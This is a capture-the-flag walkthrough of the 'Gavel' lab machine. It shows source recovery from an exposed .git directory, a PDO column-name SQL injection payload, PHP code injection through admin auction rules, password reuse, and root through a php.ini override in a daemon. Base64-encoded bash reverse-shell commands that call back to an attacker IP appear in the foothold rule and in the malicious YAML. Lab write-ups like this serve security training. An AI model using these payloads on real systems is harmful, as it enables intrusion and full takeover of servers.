Syk0

Gavel


Gavel

Overview

Gavel is a Linux machine centered around an online auction web application. The attack chain begins with source code recovery via an exposed .git directory, leading to a novel SQL injection technique against PDO prepared statements that bypasses typical parameterization protections. The extracted credentials unlock an admin panel where auction bidding rules are evaluated as PHP - a direct code injection vector used to land a foothold. Lateral movement relies on password reuse to pivot to the auctioneer user. Privilege escalation involves reverse-engineering a custom auction daemon binary (gaveld) to discover that it invokes PHP with a configurable php.ini path via the RULE_PATH environment variable. By supplying a modified php.ini that removes the disable_functions restriction alongside a malicious YAML rule containing a PHP reverse shell, the daemon's privileged execution yields a root shell.

Key techniques: exposed .git source recovery, PDO prepared statement SQL injection, PHP code injection via admin rule evaluation, password reuse, binary string analysis, php.ini disable_functions bypass.


Recon

Starting with a standard nmap service scan against the target, followed by a full port scan to ensure nothing unusual is listening on non-standard ports:

sudo nmap -sC -sV -vv -oA tcp 10.129.242.203; sudo nmap -sC -sV -vv -p- -oA allports 10.129.242.203

The target resolves as a named host (gavel.htb), so virtual host / subdomain enumeration is worth attempting. Using ffuf with a large subdomain wordlist and filtering out the default response size:

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -u http://gavel.htb -H "Host: FUZZ.gavel.htb" -ic -fl 10

No subdomains found. Moving on to directory bruteforcing the root of the application:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://gavel.htb/FUZZ -ic

Nothing immediately interesting from the initial directory scan. Browsing to the site reveals an auction platform - users can register, log in, and place bids on items:

Since the app is PHP-based, we run a PHP-specific file discovery scan against the root and the includes/ subdirectory to uncover backend scripts:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files-lowercase.txt -u http://gavel.htb/FUZZ -ic -e .php
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -u http://gavel.htb/includes/FUZZ -ic -e .php

Switching to the common.txt wordlist - a more targeted list that includes common developer artifacts - reveals something critical:

ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -u http://gavel.htb/FUZZ -ic -e .php

A .git directory is publicly accessible. This means the entire version-controlled source code repository can be reconstructed from the exposed object store. Using gitdumper to download all Git objects from the server:

./gitdumper.sh http://gavel.htb/.git/ /home/syk0/Documents/htb/machines-stream/gavel/loot/git_data

Once the dump completes, we restore the working tree from the recovered objects:

git restore *

With the full PHP source code in hand, we audit the application logic. In inventory.php, a SQL injection vulnerability is immediately apparent - the $col parameter is user-controlled and interpolated directly into the query string before being passed to PDO's prepare():

$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");

While PDO prepared statements protect the ? placeholder values, the column name itself is never parameterized - any string substituted into $col becomes part of the raw SQL query. This is the injection point.


Exploitation

The injection is non-trivial to exploit because the column name position imposes syntax constraints. After researching a technique specific to PDO column-name injection (https://slcyber.io/research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements/), we craft a payload that pivots the SELECT target to read from the users table instead:

The final payload restructures the query so that the password column from the users table is returned under the aliased column name expected by the application:

user_id=item_name` FROM (SELECT password AS `'item_name` from users)y;--&sort=\?--%00

The response leaks bcrypt password hashes for registered users, including the admin account. We crack the hash offline using hashcat with the bcrypt mode:

hashcat -m 3200 -a 0 hash /mnt/hgfs/I/data/rockyou.txt


Foothold

Logging in with the recovered admin credentials, we explore the admin panel and find a feature for managing auction bidding rules. Crucially, these rules are not stored as data - they are evaluated as PHP functions at runtime:

This is a direct PHP code injection sink. We craft a rule that uses PHP's system() to execute a base64-encoded bash reverse shell, triggering a callback to our listener running penelope:

system("printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvODQ0MyAwPiYxKSAm|base64 -d|bash"); return true;

The rule fires when an auction action triggers rule evaluation, and within moments the reverse shell connects:

We land a shell as www-data.


Lateral Movement

Running linpeas for post-exploitation enumeration, we notice two separate MySQL instances listening - suggesting multiple application components or services sharing the host:

Given the presence of multiple services and a secondary user account (auctioneer), we test whether the admin password recovered from the database is reused as a system credential. It is - su auctioneer with the cracked password succeeds immediately:


Privilege Escalation

Running linpeas again under the auctioneer account surfaces a non-standard binary in /usr/local/bin:

Additional files are present under /opt:

Static string analysis of /opt/gavel/gaveld (the auction daemon binary) reveals references to PHP, YAML processing, and configurable paths - strongly suggesting it loads and evaluates auction rules from YAML files using a PHP interpreter:

Inspecting /usr/local/bin/gavel-util shows it accepts a YAML file path as input, allowing a user to submit new auction item definitions to the daemon:

We copy the template from /opt/gavel/sample.yaml to /tmp so we can modify it freely:

We pull both gaveld and gavel-util to our local machine for deeper binary analysis:

Binary analysis reveals that gaveld respects a RULE_PATH environment variable that overrides the path of the php.ini configuration file it passes to the PHP interpreter when evaluating rules. This is the privilege escalation primitive - by supplying a custom php.ini that does not restrict disable_functions, we can execute arbitrary system commands from within a PHP rule that runs under the daemon's elevated privileges.

We copy the original php.ini to a writable location and strip out the disable_functions directive, which would otherwise block system() and similar calls:

We then craft a malicious smp.yaml with a rule field containing a PHP reverse shell payload. The rule value is injected into a PHP function body at evaluation time - calling system() with a base64-encoded reverse shell that connects back to our listener on port 8445:

name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "system('printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTAuMTQuMjEvODQ0NSAwPiYxKSAm|base64 -d|bash'); return false;"

We invoke gavel-util with the RULE_PATH environment variable pointing to our permissive php.ini, submitting the malicious YAML to the daemon:

A root shell arrives within seconds: